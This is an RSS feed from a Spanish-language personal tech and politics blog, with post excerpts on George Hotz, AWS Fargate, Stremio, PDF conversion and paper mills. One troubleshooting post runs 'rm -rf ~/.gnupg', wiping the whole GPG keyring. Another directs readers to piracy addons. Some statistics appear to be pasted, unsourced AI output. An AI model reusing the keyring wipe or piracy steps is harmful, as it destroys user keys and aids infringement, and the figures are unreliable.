Imlauer
https://imlauera.github.io/
Recent content on Imlauer
Hugo
es-es
Wed, 18 Mar 2026 04:19:12 -0300
-
Sabiduría de George Hotz
https://imlauera.github.io/linkedin_georgehotz/
Wed, 18 Mar 2026 04:19:12 -0300
https://imlauera.github.io/linkedin_georgehotz/
<p>Partes del LInkedin.</p>
<p>“I think it’s blatantly obvious that power doesn’t lie where they tell you it does. pay attention to who is standing up to that. that’s who is on your side.”</p>
<h1 id="deep-state-george-hotz-vs-curtis-yarvin">Deep State: George Hotz vs Curtis Yarvin</h1>
<h2 id="george-hotz-sobre-el-deep-state-del-blog-geohotgithubio">George Hotz sobre el Deep State (del blog geohot.github.io)</h2>
<blockquote>
<p><em>“Regardless of your opinion on Trump, it became obvious in those years that there’s a machine behind the scenes in our government. I’ve heard this referred to as ’the deep state’, though I don’t mean to suggest shadowy figures in a secret cellar. I just mean <strong>the people who are actually wielding power, that perhaps are not the ‘politicians’ who you see on the TV. You might even know some of their names, but you likely don’t think of them as having power</strong>.”</em></p>
-
Ecsfargate autoscaling
https://imlauera.github.io/ecsfargate_autoscaling/
Mon, 16 Mar 2026 22:12:32 -0300
https://imlauera.github.io/ecsfargate_autoscaling/
<h1 id="tutorial-usar-aws-ecs-fargate--auto-scaling-desde-arch-linux">Tutorial: Usar AWS ECS Fargate + Auto Scaling desde Arch Linux</h1>
<p>Este tutorial muestra cómo <strong>desplegar contenedores en AWS usando ECS Fargate con Auto Scaling</strong> desde un sistema <strong>Arch Linux</strong> usando herramientas CLI.</p>
<p>Está pensado para usuarios avanzados que prefieren trabajar desde terminal.</p>
<hr>
<h1 id="1-qué-vamos-a-construir">1. Qué vamos a construir</h1>
<p>Arquitectura final:</p>
<pre tabindex="0"><code>Internet
│
Application Load Balancer
│
ECS Service
│
Fargate Tasks (contenedores)
│
Auto Scaling
</code></pre><p>Todo se administrará desde <strong>Arch Linux usando CLI</strong>.</p>
-
Curtis Yarvin: la verdad y el poder
https://imlauera.github.io/curtis_yarvin_la_verdad_y_el_poder/
Mon, 16 Mar 2026 21:01:12 -0300
https://imlauera.github.io/curtis_yarvin_la_verdad_y_el_poder/
<p>George Hotz habló varias veces de él.</p>
<p><a href="https://graymirror.substack.com/p/you-cant-handle-the-truth">https://graymirror.substack.com/p/you-cant-handle-the-truth</a></p>
<p>El texto es un ensayo político del programador y pensador político Curtis Yarvin (también conocido como <em>Mencius Moldbug</em>). Su estilo es <strong>provocador, pesimista y muy crítico del sistema político moderno</strong>.
Te lo explico <strong>parte por parte en español simple</strong>, porque el texto mezcla historia, filosofía y política.</p>
<hr>
<h1 id="1-idea-principal-del-texto">1. Idea principal del texto</h1>
<p>La idea central del autor es:</p>
<blockquote>
<p>La gente cree que decir la verdad cambia el mundo, pero eso es una ilusión.
En realidad <strong>el poder manda</strong>, no la verdad.</p>
-
Stremio para ver canales.
https://imlauera.github.io/stremio/
Sat, 14 Mar 2026 22:28:29 -0300
https://imlauera.github.io/stremio/
<p>Primero tenes que create una cuenta en stremio.com anda a login y sign up.</p>
<p><a href="https://web.stremio.com/#/addons">https://web.stremio.com/#/addons</a></p>
<p><a href="https://stremio-addons.net/addons/streamsppv">https://stremio-addons.net/addons/streamsppv</a>
<a href="https://stremio-addons.net/addons?categories=live+tv">https://stremio-addons.net/addons?categories=live+tv</a>
<a href="https://formulio.hayd.uk/">https://formulio.hayd.uk/</a>
<a href="https://stremio-addons.net/addons/watchio.live-tv">https://stremio-addons.net/addons/watchio.live-tv</a></p>
<p>En tu PC web.stremio.com addons community addons instala watchio</p>
<p>Para ver formula1 en smart tv instalen Stremio creense una cuenta desde la PC instalen este addon <a href="https://formulio.hayd.uk/">https://formulio.hayd.uk/</a>
Agreguen esta URL como addon <a href="https://formulio.hayd.uk/manifest.json">https://formulio.hayd.uk/manifest.json</a>. Luego instalen torrentio y thepiratebay para mas contenido.</p>
<p><a href="https://torrentio.strem.fun/">https://torrentio.strem.fun/</a> ponen que quieren contenido en spanish y abajo copy link pegan la url en stremio add-on</p>
-
Htmltopdf
https://imlauera.github.io/htmltopdf/
Fri, 13 Mar 2026 20:21:39 -0300
https://imlauera.github.io/htmltopdf/
<p>Si tiene muchas imagenes tenes que descargar toda la página con wget primero despues generá el pdf con pandoc.</p>
<p>Por ejemplo: <a href="https://cursoelectricidad.github.io/todo_en_uno_imprimir.html">https://cursoelectricidad.github.io/todo_en_uno_imprimir.html</a></p>
<p>Pandoc te putea porque no puede descargar imágenes externas. Descargá toda la página con wget con este comando (span hosts):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -e robots<span style="color:#f92672">=</span>off --user-agent<span style="color:#f92672">=</span><span style="color:#e6db74">"Mozilla/5.0 (WindowsNT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.37"</span> --page-requisites --convert-links --adjust-extension --no-parent --span-hosts -nH https://cursoelectricidad.github.io/todo_en_uno_imprimir.html 2>&<span style="color:#ae81ff">1</span> | tail -30
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -Ss wkhtmltohtml-bin
</span></span><span style="display:flex;"><span>Tenía un error
</span></span><span style="display:flex;"><span>gpg: Note: database_open <span style="color:#ae81ff">134217901</span> waiting <span style="color:#66d9ef">for</span> lock <span style="color:#f92672">(</span>held by 23<span style="color:#f92672">)</span> ...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Thinking: The GPG database is persistently broken. The lock is held by process <span style="color:#ae81ff">23</span> which appears to be a kernel thread <span style="color:#f92672">(</span>cpuhp/1<span style="color:#f92672">)</span> which can<span style="color:#960050;background-color:#1e0010">'</span>t be killed. Let me try using gpg with a different keyring location or try to completely reset gnupg.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Lo solucioné con
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rm -rf ~/.gnupg; mkdir ~/.gnupg; chmod <span style="color:#ae81ff">700</span> ~/.gnupg; gpg --gen-key --batch
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pandoc -s todo_en_uno_imprimir.md -o all_in_one.pdf --pdf-engine<span style="color:#f92672">=</span>wkhtmltopdf
</span></span><span style="display:flex;"><span>chromium --headless --disable-gpu --print-to-pdf<span style="color:#f92672">=</span><span style="color:#e6db74">"all_in_one.pdf"</span> <span style="color:#e6db74">"file://</span><span style="color:#66d9ef">$(</span>pwd<span style="color:#66d9ef">)</span><span style="color:#e6db74">/todo_en_uno_imprimir.html"</span>
</span></span></code></pre></div>
-
Opensource AI
https://imlauera.github.io/opensource_ai/
Fri, 13 Mar 2026 07:01:32 -0300
https://imlauera.github.io/opensource_ai/
<p>No uses llama de Facebook porque aunque es opensource. Facebook es una empresa rent-seeking, en cualquier momento cambian las reglas no son confiables. Usa los modelos chinos.</p>
<p>Tienes razón en desconfiar, y ahí radica la polémica. La frase “Open Source” en IA es un término que se está usando de forma tramposa.</p>
<p>Vamos a aclarar el enredo:</p>
<h3 id="1-la-verdad-sobre-llama-facebook">1. La verdad sobre Llama (Facebook)</h3>
<p><strong>Llama SÍ libera los “pesos” (weights).</strong>
Si te bajas Llama 3, te bajas un archivo gigante (los pesos) que te permite correr el modelo en tu PC. Técnicamente, puedes usar <code>ollama run llama3</code> sin problemas.</p>
-
Autoresearch
https://imlauera.github.io/autoresearch/
Thu, 12 Mar 2026 23:02:28 -0300
https://imlauera.github.io/autoresearch/
<p>Este texto es una mezcla fascinante de dos mundos: por un lado, un hilo viral sobre el futuro de la investigación en IA, y por otro, una entrada de blog sobre economía y política. Como el texto tiene dos partes muy distintas, te las explico por separado y luego vamos a las limitaciones.</p>
<p>Aquí tienes el análisis detallado:</p>
<hr>
<h3 id="1-el-proyecto-autoresearch-de-andrej-karpathy-la-primera-parte">1. El Proyecto “Autoresearch” de Andrej Karpathy (La primera parte)</h3>
<p><strong>¿Qué es?</strong>
Andrej Karpathy (ex-director de IA de Tesla y OpenAI) ha lanzado una herramienta experimental que convierte a una IA en un <strong>investigador autónomo</strong>.</p>
-
Stallman: Uber
https://imlauera.github.io/uber/
Thu, 12 Mar 2026 18:29:47 -0300
https://imlauera.github.io/uber/
<p><a href="https://stallman.org/uber.html">https://stallman.org/uber.html</a></p>
<hr>
<h3 id="parte-1-traducción-y-explicación-del-texto-de-stallman">Parte 1: Traducción y Explicación del texto de Stallman</h3>
<p>Richard Stallman (fundador del movimiento del software libre y creador de GNU) es un crítico feroz de Uber. En su página (que enlazaste), no habla de números salariales, sino de <strong>ética, derechos digitales y privacidad</strong>.</p>
<p><strong>Traducción resumida de los puntos clave de su texto:</strong></p>
<ol>
<li><strong>Vigilancia Masiva:</strong> Stallman argumenta que Uber es un sistema de vigilancia. La aplicación rastrea a los pasajeros y conductores constantemente. Uber sabe quién viaja, con quién, a dónde va y cuándo.</li>
<li><strong>Software Privativo (No Libre):</strong> La aplicación de Uber es “privativa” (proprietary). Esto significa que el software es un instrumento de poder injusto: el usuario no puede saber qué hace el programa realmente, ni puede modificarlo. Obedece a Uber, no al usuario.</li>
<li><strong>Trato a los conductores:</strong> Señala que Uber maltrata a los conductores, obligándolos a asumir todos los riesgos (coche, gasolina, mantenimiento) mientras la empresa se queda con una parte fija de la ganancia. Menciona que Uber tiene el poder de degradar las condiciones de trabajo unilateralmente.</li>
<li><strong>Boicot:</strong> Stallman insta a la gente a <strong>no usar Uber</strong> y optar por taxis tradicionales o transporte público, ya que usar la app apoya un negocio basado en la vigilancia y la explotación.</li>
</ol>
<p><strong>Explicación del contexto:</strong>
Para Stallman, el problema no es solo si el conductor gana mucho o poco, sino que Uber es una empresa que <strong>normaliza el espionaje masivo</strong> y convierte a los trabajadores en esclavos digitales controlados por algoritmos que ellos no pueden ver ni auditar.</p>
-
Paper Mills. Cloudflare.
https://imlauera.github.io/cloudflare/
Thu, 12 Mar 2026 00:17:07 -0300
https://imlauera.github.io/cloudflare/
<h2 id="1-papers-científicos-falsos---paper-mills">1️⃣ PAPERS CIENTÍFICOS FALSOS - “PAPER MILLS”</h2>
<h3 id="qué-está-pasando"><strong>¿Qué está pasando?</strong></h3>
<p>El paper de PNAS (Proceedings of the National Academy of Sciences) titulado <em>“The entities enabling scientific fraud at scale”</em> expone una industria completa de fraude académico.</p>
<h3 id="qué-son-los"><strong>¿Qué son los “Paper Mills”?</strong></h3>
<p>Son <strong>empresas criminales</strong> que:</p>
<ul>
<li>Fabrican papers científicos falsos completos</li>
<li>Los venden a investigadores que necesitan publicar</li>
<li>Crean datos falsos, gráficos falsos, hasta revisores falsos</li>
<li>Cobran miles de dólares por “autoría”</li>
</ul>
<h3 id="la-escala-del-problema"><strong>La escala del problema:</strong></h3>
<table>
<thead>
<tr>
<th>Métrica</th>
<th>Dato</th>
</tr>
</thead>
<tbody>
<tr>
<td>Papers falsos detectados</td>
<td>Más de 10,000 en 2025</td>
</tr>
<tr>
<td>Crecimiento anual</td>
<td>300% desde 2020</td>
</tr>
<tr>
<td>Precio por paper</td>
<td>$1,000 - $20,000</td>
</tr>
<tr>
<td>Una “paper mill” europea</td>
<td>1,500 papers falsos linkados a Ucrania</td>
</tr>
</tbody>
</table>
<h3 id="cómo-funciona-el-negocio"><strong>Cómo funciona el negocio:</strong></h3>
<ol>
<li><strong>Creación</strong>: La empresa fabrica un paper con datos inventados</li>
<li><strong>Venta</strong>: Venden “slots” de autoría - puedes ser 1er, 2do, 3er autor según cuánto pagues</li>
<li><strong>Envío</strong>: Lo mandan a revistas de bajo prestigio (y algunas de alto)</li>
<li><strong>Revisión falsa</strong>: A veces sobornan revisores, o crean identidades falsas</li>
<li><strong>Publicación</strong>: El “autor” tiene un paper para su CV</li>
</ol>
<h3 id="por-qué-es-grave"><strong>¿Por qué es grave?</strong></h3>
<ul>
<li><strong>Medicina</strong>: Papers falsos sobre tratamientos pueden matar gente</li>
<li><strong>Economía</strong>: Políticas basadas en datos falsos</li>
<li><strong>Confianza</strong>: La ciencia pierde credibilidad</li>
<li><strong>Recursos</strong>: Investigadores reales pierden funding ante fraudsters</li>
</ul>
<h3 id="quiénes-son-los-clientes"><strong>Quiénes son los clientes:</strong></h3>
<ul>
<li>Académicos que necesitan “publish or perish”</li>
<li>Doctores que necesitan papers para promoción</li>
<li>Estudiantes de PhD que no pueden producir resultados</li>
<li>Investigadores de países con presión por publicar</li>
</ul>
<p><strong>Lo más surreal:</strong> Papers generados por IA (ChatGPT) se están colando en revistas científicas legítimas. La ciencia está siendo inundada de basura sintética.</p>
-
Ashley Jones
https://imlauera.github.io/ashley_jones/
Wed, 11 Mar 2026 23:02:53 -0300
https://imlauera.github.io/ashley_jones/
<p>Veo que hay una sección “Who am I?” en <code>/about-me/</code>. Déjame entrar ahí:
Veo que hay un link directo a las convicciones en <code>/my-convictions/</code>. Déjame entrar ahí:
Encontré las convicciones de <strong>Ashley Jones</strong> (la dueña del sitio web). Aquí están sus convicciones principales:</p>
<hr>
<h2 id="-sobre-ashley-jones">👩 Sobre Ashley Jones</h2>
<ul>
<li><strong>Nombre</strong>: Ashley Jones</li>
<li><strong>Edad</strong>: 26 años</li>
<li><strong>Altura</strong>: 4'11" (1.50m)</li>
<li><strong>Peso</strong>: 88-95 lbs (40-43 kg)</li>
</ul>
<hr>
<h2 id="-sus-convicciones-en-español">📜 SUS CONVICCIONES (en español)</h2>
<h3 id="1--odio-profundo-a-los-ciclistas">1. 🚴 <strong>Odio profundo a los ciclistas</strong></h3>
<p>Cree que los ciclistas son “gay” y molestos, que usan ropa ajustada para mostrar sus cuerpos, que andan en medio de la calle bloqueando el tráfico, y que les gusta ser víctimas de los autos.</p>
-
Openclaw
https://imlauera.github.io/openclaw/
Mon, 09 Mar 2026 14:35:00 -0300
https://imlauera.github.io/openclaw/
<h2 id="openclaw---búsqueda-web-desde-terminal-para-responder-correosok-ya-tengo-todo-claro-openclaw-es-un-agente-de-ia-personal-antes-llamado-clawdbot-que-corre-en-tu-máquina-y-se-conecta-a-canales-de-mensajería-herramientas-y-modelos-acá-va-todo-directo-al-grano">OpenClaw - Búsqueda web desde terminal para responder correosOk, ya tengo todo claro. OpenClaw es un <strong>agente de IA personal</strong> (antes llamado Clawdbot) que corre en tu máquina y se conecta a canales de mensajería, herramientas y modelos. Acá va todo directo al grano:</h2>
<hr>
<h2 id="setup-inicial">Setup inicial</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Ya lo tenés instalado, arrancá el wizard</span>
</span></span><span style="display:flex;"><span>openclaw onboard
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># O si querés ver qué tenés</span>
</span></span><span style="display:flex;"><span>openclaw doctor
</span></span></code></pre></div><p>El gateway corre en <code>ws://127.0.0.1:18789</code>. Lo controlás con la TUI o desde cualquier canal.</p>
-
Socat MPV
https://imlauera.github.io/socat_mpv/
Sun, 08 Mar 2026 02:50:58 -0300
https://imlauera.github.io/socat_mpv/
<h1 id="tutorial-controlar-mpv-con-socat">Tutorial: Controlar MPV con SOCAT</h1>
<h2 id="qué-es-esto">¿Qué es esto?</h2>
<p>MPV tiene un servidor IPC (inter-process communication) que permite enviar comandos mientras el video está reproduciendo. Usamos <code>socat</code> para comunicarse con el socket.</p>
<h2 id="instalación">Instalación</h2>
<h3 id="arch-linux">Arch Linux</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S socat
</span></span></code></pre></div><h3 id="debianubuntu">Debian/Ubuntu</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install socat
</span></span></code></pre></div><p>Asegurate de tener también mpv instalado:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Arch</span>
</span></span><span style="display:flex;"><span>sudo pacman -S mpv
</span></span></code></pre></div><h2 id="1-abrir-un-video-con-socket-habilitado">1. Abrir un video con socket habilitado</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mpv video.mp4 --input-ipc-server<span style="color:#f92672">=</span>/tmp/mpv.sock
</span></span></code></pre></div><p>Esto crea un socket en <code>/tmp/mpv.sock</code> para recibir comandos.</p>
-
Deepagro análisis de Geohot según la IA
https://imlauera.github.io/deepagro/
Tue, 03 Mar 2026 20:27:39 -0300
https://imlauera.github.io/deepagro/
<p>Geohot es nuestro profeta.</p>
<p>Deepagro empresa argentina</p>
<p>Tienes mucha razón con tu intuición. Analicé la web de <strong>DeepAgro</strong> y, aplicando la lógica de George Hotz (geohot), la conclusión es clara: <strong>tienen una misión productiva, pero su ejecución cae en la trampa del rentismo tecnológico (cerrado)</strong>.</p>
<p>Aquí tienes el desglose paso a paso de lo que hace la empresa y qué pensaría Hotz:</p>
<h3 id="1-qué-es-deepagro">1. ¿Qué es DeepAgro?</h3>
<p>Según su web, DeepAgro es una empresa de <strong>AgTech (tecnología agrícola)</strong>. Su producto estrella es un sistema de detección de malezas basado en <strong>IA y Computer Vision</strong>.</p>
-
Cat-v.org: El salario minimo no sirve
https://imlauera.github.io/salario_minimo/
Tue, 03 Mar 2026 16:52:32 -0300
https://imlauera.github.io/salario_minimo/
<p><a href="http://harmful.cat-v.org/economics/minimum-wage/">http://harmful.cat-v.org/economics/minimum-wage/</a></p>
<h3 id="las-consecuencias-no-deseadas-del-salario-mínimo">Las consecuencias no deseadas del salario mínimo</h3>
<p><em>“El verdadero salario mínimo es cero: el desempleo.” – Thomas Sowell</em></p>
<p>El salario mínimo es una de las políticas económicas más persistentes y perniciosas, probablemente solo superada en ineptitud por los controles de alquiler y los subsidios agrícolas.</p>
<p>Los economistas han reconocido durante décadas que las leyes de salario mínimo resultan principalmente en un aumento del desempleo entre los sectores más vulnerables de la sociedad, especialmente los adolescentes pobres sin calificación de minorías raciales.</p>
-
Se terminan los moats con la IA. Los fosos están hechos de fricción.
https://imlauera.github.io/moats/
Tue, 03 Mar 2026 00:06:44 -0300
https://imlauera.github.io/moats/
<p>En el contexto del artículo de Citrini Research y el análisis de George Hotz, <strong>“Moats”</strong> (literalmente “fosos” en español) es un término acuñado por Warren Buffett que se refiere a la <strong>ventaja competitiva sostenible</strong> que protege a una empresa de sus rivales.</p>
<p>Imagina un castillo medieval: el foso lleno de agua y cocodrilos protege el castillo de los invasores. En negocios, el “moat” es lo que permite a una empresa mantener sus beneficios y su cuota de mercado durante mucho tiempo, impidiendo que otros la destruyan.</p>
-
Popcorn Time la historia de demandas por "copyright"
https://imlauera.github.io/popcorntime/
Mon, 02 Mar 2026 00:33:23 -0300
https://imlauera.github.io/popcorntime/
<p>La historia de Popcorn Time es fascinante porque fue un caso raro donde <strong>la tecnología superó a la industria</strong>, pero la maquinaria legal la aplastó. No murió por fallos técnicos, sino por demandas.</p>
<p>Aquí te resumo qué pasó paso a paso:</p>
<h3 id="1-el-terremoto-2014">1. El “Terremoto” (2014)</h3>
<p>Popcorn Time apareció a inicios de 2014. En cuestión de días, se volvió viral globalmente.</p>
<ul>
<li><strong>La amenaza:</strong> Para la industria del cine (MPAA, hoy MPA), Popcorn Time era más peligrosa que The Pirate Bay. The Pirate Bay requiere buscar, descargar un archivo .torrent, esperar a que descargue… Popcorn Time era “Click y Play”. Era <strong>más fácil que Netflix</strong> y gratis.</li>
<li><strong>La presión:</strong> Los estudios de Hollywood ejercieron una presión legal brutal inmediata.</li>
</ul>
<h3 id="2-la-primera-muerte-la-rendición-de-los-creadores">2. La primera muerte (La rendición de los creadores)</h3>
<p>Los creadores originales (un grupo anónimo de programadores, muchos de Argentina y Europa) recibieron amenazas legales directas.</p>
-
Incentivo perverso
https://imlauera.github.io/incentivo_perverso/
Sat, 28 Feb 2026 15:38:32 -0300
https://imlauera.github.io/incentivo_perverso/
<h1 id="incentivo-perverso">Incentivo perverso</h1>
<p>Un <strong>incentivo perverso</strong> es un incentivo que tiene un resultado no intencionado y no deseado que va en contra de las intenciones de quienes lo diseñaron o lo aprobaron. Un ejemplo común es la llamada “Efecto cobra”, que ocurre cuando una recompensa ofrecida por exterminar animales o insectos lleva a un aumento en su población, ya que las personas comienzan a criarlos para obtener más recompensas.</p>
<h2 id="ejemplos-de-incentivos-perversos">Ejemplos de incentivos perversos</h2>
<h3 id="campañas-de-control-de-plagas">Campañas de control de plagas</h3>
<ul>
<li><strong>El efecto cobra</strong>: En la India británica, el gobierno estaba preocupado por el gran número de cobras venenosas en Delhi. Por ello, el gobierno ofreció una recompensa por cada cobra muerta. Inicialmente, esta estrategia fue un éxito, ya que gran cantidad de serpientes fueron matadas para obtener la recompensa. Sin embargo, personas emprendedoras comenzaron a criar cobras para ganar dinero con este programa. Cuando el gobierno se dio cuenta de esto, el programa de recompensas fue abandonado, lo que llevó a que los criadores liberaran las serpientes ahora sin valor. Como resultado, la población de cobras salvajes aumentó aún más. El término “efecto cobra” se utiliza hoy en día para describir este tipo de incentivos perversos.</li>
<li><strong>Las ratas en Hanói</strong>: En 1902, en la Indochina Francesa (actual Vietnam), el gobierno colonial en Hanói ofreció una recompensa por cada rata muerta. Para cobrar la recompensa, los cazadores debían presentar la cola de la rata. Sin embargo, los funcionarios pronto se dieron cuenta de que estaban encontrando ratas sin cola en los alrededores de la ciudad. Los cazadores de ratas estaban capturando ratas vivas, cortándoles la cola y luego liberándolas para que pudieran procrear y generar más ratas (y más recompensas).</li>
</ul>
<h3 id="seguridad-comunitaria-y-reducción-de-daños">Seguridad comunitaria y reducción de daños</h3>
<ul>
<li><strong>Seguridad vial</strong>: La investigación en seguridad vial ha sugerido que cuando se introducen medidas de seguridad (como los antibarreras o la señalización vial), los conductores pueden sentirse más seguros y, por lo tanto, conducir de manera más imprudente, aumentando el riesgo para otros usuarios de la vía (como ciclistas o peatones). Este fenómeno se conoce como “compensación de riesgo”.</li>
<li><strong>Vivienda social</strong>: A veces, las políticas de vivienda social diseñadas para ayudar a los más pobres pueden crear incentivos para permanecer en la pobreza, ya que un aumento en los ingresos podría resultar en la pérdida de la vivienda subsidiada.</li>
</ul>
<h3 id="protección-ambiental-y-de-la-vida-silvestre">Protección ambiental y de la vida silvestre</h3>
<ul>
<li><strong>Especies en peligro de extinción</strong>: En ciertos casos, las leyes diseñadas para proteger especies en peligro pueden tener el efecto contrario. Si la presencia de una especie en peligro en una propiedad privada impide el desarrollo económico o agrícola del terreno (debido a regulaciones estrictas), los propietarios pueden tener un incentivo para destruir el hábitat de la especie antes de que sea descubierta por las autoridades (“dispara, cava y calla”).</li>
</ul>
<h3 id="esquemas-de-preservación-histórica">Esquemas de preservación histórica</h3>
<ul>
<li><strong>Demoliciones preventivas</strong>: En lugares donde existen leyes estrictas que protegen edificios históricos de la demolición, los desarrolladores inmobiliarios pueden apresurarse a demoler edificios antiguos antes de que puedan ser catalogados como protegidos, para poder construir nuevas estructuras sin restricciones.</li>
</ul>
<h3 id="control-de-costos-sanitarios">Control de costos sanitarios</h3>
<ul>
<li><strong>Cirugías innecesarias</strong>: En sistemas de salud donde los médicos u hospitales reciben pagos por cada procedimiento realizado (pago por servicio), existe un incentivo financiero para realizar pruebas diagnósticas o cirugías innecesarias, lo que aumenta los costos generales de atención médica sin mejorar la salud del paciente.</li>
</ul>
<h3 id="políticas-humanitarias-y-de-bienestar">Políticas humanitarias y de bienestar</h3>
<ul>
<li><strong>Ayuda internacional</strong>: En algunos casos, la ayuda alimentaria o de ropa enviada a zonas de desastre puede dañar las economías locales. Si se entrega comida gratis, los agricultores locales no pueden vender sus cosechas y pueden verse obligados a abandonar la agricultura, haciendo que la región sea más dependiente de la ayuda exterior en el futuro.</li>
</ul>
<h3 id="esquemas-promocionales-y-relaciones-públicas">Esquemas promocionales y relaciones públicas</h3>
<ul>
<li><strong>Métricas de rendimiento</strong>: En el mundo empresarial o educativo, centrarse exclusivamente en métricas cuantitativas (como el número de llamadas de ventas o las calificaciones de exámenes) puede incentivar a los empleados o estudiantes a “jugar el sistema”, sacrificando la calidad por la cantidad o haciendo trampas para cumplir los objetivos.</li>
</ul>
<h3 id="sistemas-electorales">Sistemas electorales</h3>
<ul>
<li><strong>Gerrymandering</strong>: El sistema electoral puede crear incentivos para que los partidos políticos manipulen los límites de los distritos electorales (gerrymandering) para asegurar su propia reelección, en lugar de responder equitativamente a la voluntad de los votantes.</li>
</ul>
<h2 id="en-la-literatura">En la literatura</h2>
<p>El concepto ha sido explorado en la literatura económica y sociológica, destacando cómo las normas institucionales pueden llevar a resultados contraproducentes.</p>
-
Usar n8n como jenkins
https://imlauera.github.io/usar_n8n_jenkins/
Thu, 26 Feb 2026 16:17:25 -0300
https://imlauera.github.io/usar_n8n_jenkins/
<p>Es casi seguro que te refieres a <strong>n8n</strong> (la letra “n”, el número “8”, la letra “n”). Es muy común confundir el “8” con una “9” al leerlo o escribirlo rápidamente.</p>
<p><strong>¿Qué es n8n?</strong>
Es una herramienta de <strong>automatización de flujos de trabajo</strong> (similar a Zapier o Make), pero es de código abierto y se puede alojar en tu propio servidor.</p>
<p><strong>¿Qué significa “como si fuera Jenkins”?</strong>
Jenkins es una herramienta clásica para <strong>Integración Continua y Despliegue Continuo (CI/CD)</strong>. Se usa para compilar código, correr pruebas y desplegar aplicaciones automáticamente.
Decir “usar n8n como si fuera Jenkins” significa: <strong>Usar una herramienta de automatización general (n8n) para realizar tareas específicas de desarrollo (CI/CD)</strong>, como ejecutar scripts de despliegue cuando haces un <code>git push</code>.</p>
-
2028 global intelligence crisis
https://imlauera.github.io/2028_global_intelligence_crisis/
Thu, 26 Feb 2026 13:01:59 -0300
https://imlauera.github.io/2028_global_intelligence_crisis/
<h1 id="la-crisis-de-inteligencia-global-de-2028">LA CRISIS DE INTELIGENCIA GLOBAL DE 2028</h1>
<h3 id="un-ejercicio-de-reflexión-sobre-la-historia-financiera-desde-el-futuro">Un ejercicio de reflexión sobre la historia financiera, desde el futuro</h3>
<h2 id="prefacio">Prefacio</h2>
<p><em>¿Qué pasa si nuestro optimismo sobre la IA sigue siendo correcto… y si eso en realidad es pesimista?</em></p>
<p><strong>Lo que sigue es un escenario, no una predicción.</strong> Esto no es pornografía bajista ni ficción fatalista sobre la IA. La única intención de este artículo es modelar un escenario que ha sido relativamente poco explorado. Nuestro amigo Alap Shah planteó la pregunta y juntos brainstormingamos la respuesta. Escribimos esta parte, y él ha escrito otras dos que puedes encontrar aquí [aquí][1].</p>
-
Antropic: 'ataques de destilacion'
https://imlauera.github.io/antropic_ataques_de_destilacion/
Thu, 26 Feb 2026 11:23:03 -0300
https://imlauera.github.io/antropic_ataques_de_destilacion/
<p>Antropic se queja de que los modelos chinos de CÓDIGO ABIERTO entrenan sus modelos usando una técnica llamada ataque de destilación XD. Todo el mundo quiere que ganen los modelos chinos porque son de código abierto, no queremos que gane ClaudeAI que es de código cerrado.</p>
<p><a href="https://www.anthropic.com/news/detecting-and-preventing-distillation-attacks">https://www.anthropic.com/news/detecting-and-preventing-distillation-attacks</a></p>
<p>Acá la traducción:</p>
<h1 id="detección-y-prevención-de-ataques-de-destilación">Detección y prevención de ataques de destilación</h1>
<p><strong>Anuncios</strong> | 23 de febrero de 2026</p>
<p>Hemos identificado campañas a escala industrial por parte de tres laboratorios de IA—DeepSeek, Moonshot y MiniMax—para extraer ilícitamente las capacidades de Claude y mejorar sus propios modelos. Estos laboratorios generaron más de 16 millones de intercambios con Claude a través de aproximadamente 24,000 cuentas fraudulentas, violando nuestros términos de servicio y restricciones de acceso regional.</p>
-
Adicciones software propietario
https://imlauera.github.io/adicciones_software_propietario/
Tue, 24 Feb 2026 12:06:08 -0300
https://imlauera.github.io/adicciones_software_propietario/
<h1 id="5-patrones-increíbles-de-monetización-en-juegos-usando-economía-del-comportamiento-en-el-diseño-ux">5 Patrones Increíbles de Monetización en Juegos usando ‘Economía del Comportamiento’ en el Diseño UX</h1>
<p><strong>Publicado originalmente en:</strong> <a href="http://www.gamasutra.com/blogs/OmTandon/20161209/287185/5_Incredibly_powerful_F2P_monetisation_patterns_using_Behavioural_Economics_in_UX_design.php">Gamasutra</a></p>
<p><em>La Economía del Comportamiento es una fascinante rama de la economía que explora la psicología del proceso de toma de decisiones de los clientes.</em></p>
<p>A lo largo de los años he estado probando y revisando numerosos juegos móviles y aplicaciones de diferentes géneros. Mientras disfruto deconstruyendo y analizando diferentes aspectos de los productos digitales—como la incorporación, el bucle principal, lo social, el meta, PvP, etc.—los patrones de monetización empleados son de especial interés para mí debido a mi formación en economía.</p>
-
El software propietario es virus
https://imlauera.github.io/software_propietario_es_malware/
Sun, 22 Feb 2026 11:35:17 -0300
https://imlauera.github.io/software_propietario_es_malware/
